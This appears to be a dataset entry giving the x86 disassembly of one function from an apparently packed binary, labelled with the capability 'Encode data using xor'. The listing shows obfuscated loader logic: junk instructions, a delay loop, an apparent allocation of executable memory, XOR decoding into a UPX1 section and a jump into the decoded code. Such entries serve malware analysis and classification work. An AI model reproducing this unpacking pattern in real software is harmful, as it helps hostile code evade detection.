Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x8dfcac68
sub esi, eax
mov eax, 0xf2d623e0
add esi, 0x9f703d7f
popal
and esi, eax
add esi, 0x7790e6b
not eax
mov edx, 0
mov eax, ebx
mov ecx, 0x873125bf
mov esi, ecx
mov edi, eax
and ecx, ecx
and esi, ecx
add ecx, 0xb476daa7
mov ebx, edi
sub ecx, 0xb0d753a6
or ecx, ecx
inc edx
or esi, ecx
sub ecx, esi
add ecx, 1
cmp edx, 0x100b1f2
jne 0x47afdb
inc ecx
not esi
not esi
cmp edx, 0x100b1f2
je 0x47b025
mov ecx, 0
mov al, byte [ecx]
mov ecx, 0x35ca383a
mov ecx, 0x2081e020
and esi, esi
mov eax, esi
sub eax, 0xabddd2c7
mov ebx, 0x47ada2
add eax, 0x102b3e06
sub edi, ecx
mov edx, 0x47af96
mov eax, edi
add edi, 0x9da2d967
mov eax, edi
mov esi, dword [ebx]
add ecx, 0x48afb757
dec eax
not edi
and esi, 0xff
mov ecx, eax
or edi, ecx
xor dword [edx], esi
sub edi, 0x94dc1b33
and edi, edi
mov edi, ecx
add edx, 1
mov ecx, eax
add eax, ecx
inc ebx
add ecx, eax
not eax
mov eax, 0x16b209dc
cmp edx, entry0
jl 0x47b055
sub edi, 1
sub ecx, 0x1993fefc
add eax, 0xd3686110
and eax, edi
mov edi, 0xdeb21d4
not esi
mov ecx, 0x47af9a
inc edi
inc edx
mov ecx, dword [ecx]
add ebx, edi
inc edi
and edx, ebx
mov ecx, dword [ecx]
mov edi, esi
sub esi, 0x791003d5
or ebx, edi
push ecx
sub edi, 0xced3de3b
not edi
mov ecx, 0x47af96
add esi, edx
not esi
sub ebx, edi
mov ecx, dword [ecx]
inc ebx
add ebx, 0x92560a12
add esi, 0xc5ee8451
mov ecx, dword [ecx]
inc edx
sub edi, 1
or esi, edx
push 0x47af9e
inc esi
and edx, esi
mov edx, 0xccebea29
call ecx
dec ebx
add esi, edx
mov ecx, dword [esp]
add esp, 4
or esi, edx
sub ebx, 0x7b8c6ec9
push 0x47afab
not esi
dec esi
sub esp, 4
mov dword [esp], eax
mov ebx, edx
not edx
add esi, 0x8c874c32
call ecx
sub esi, edi
sub ebx, esi
add edx, 0x1ae2bd87
sub esp, 4
mov dword [esp], 0x40
or edx, edx
add edi, edx
sub edx, edi
sub esp, 4
mov dword [esp], 0x3000
not edi
sub edi, ebx
push 0x2000033c
and esi, edi
add esi, edi
sub ebx, 1
push 0
not edi
or edi, ebx
call eax
inc esi
sub edx, 0x68962d3e
add eax, 0x200002b5
inc esi
sub edx, esi
mov ecx, 0xc184a15d
and ebx, esi
add ebx, edx
mov dword [eax], ecx
and edx, ebx
sub ebx, 1
dec esi
mov ecx, dword [eax]
sub edi, 0xf40c41b
mov ebx, edx
inc edi
cmp ecx, 0xc184a15d
je 0x47b1b3
mov eax, 0
mov ecx, dword [eax]
or esi, edx
dec ebx
sub esi, 0xcabd4d96
dec esi
not edx
sub eax, esi
sub eax, 0x6a20c863
mov edi, section.UPX1
mov eax, esi
add esi, esi
mov ebx, 0x47ada1
inc esi
dec eax
mov edx, 0
sub eax, esi
sub eax, esi
mov eax, 0x36ce8439
mov ecx, 0x47ada2
sub esi, 0x56ada582
sub eax, 0x70f04a8b
add eax, 0xc1565f65
lea ecx, [edx + ecx]
or esi, eax
dec esi
mov esi, 0xbf320075
mov ecx, dword [ecx]
sub eax, 0x63e1b1da
not eax
or eax, esi
and ecx, 0xff
mov eax, esi
sub eax, 0xaec194b2
add edx, 1
sub eax, 0x3514971a
not esi
cmp edx, 0x1f4
jne 0x47b23c
mov edx, 0
add eax, 0x7c710ad4
sub esi, eax
inc eax
and esi, eax
mov eax, esi
xor dword [edi], ecx
sub esi, 0x65e86efc
mov eax, esi
add edi, 2
or esi, esi
add esi, 0x3d72673b
dec esi
cmp edi, ebx
jl 0x47b1e5
add eax, 0x99e648f0
add eax, eax
sub esi, 0xb12ce54d
or esi, eax
add esi, 0x38daee70
and esi, eax
mov edi, section.UPX1
add ecx, 1
dec edx
mov ebx, section.UPX1
mov edx, 0x1980e2f5
add ecx, 1
add ecx, edx
mov esi, 0x47ada1
mov ecx, 0xeefbae0d
mov edx, ecx
mov eax, 0
sub ecx, 0x8212870
or ecx, ecx
add ecx, ecx
mov al, byte [ebx]
inc ecx
add edx, ecx
and ecx, ecx
mov byte [edi], al
or edx, edx
inc edx
or ecx, edx
inc edi
sub edx, ecx
not ecx
not ecx
add ebx, 2
add ecx, 0x6b1066c
dec edx
cmp ebx, esi
jle 0x47b2bb
sub ecx, edx
sub edx, ecx
sub ecx, edx
add eax, 0x4590d023
not esi
sub esp, 4
mov dword [esp], 0x45e6a0
sub eax, 0x5abddd2f
dec esi
ret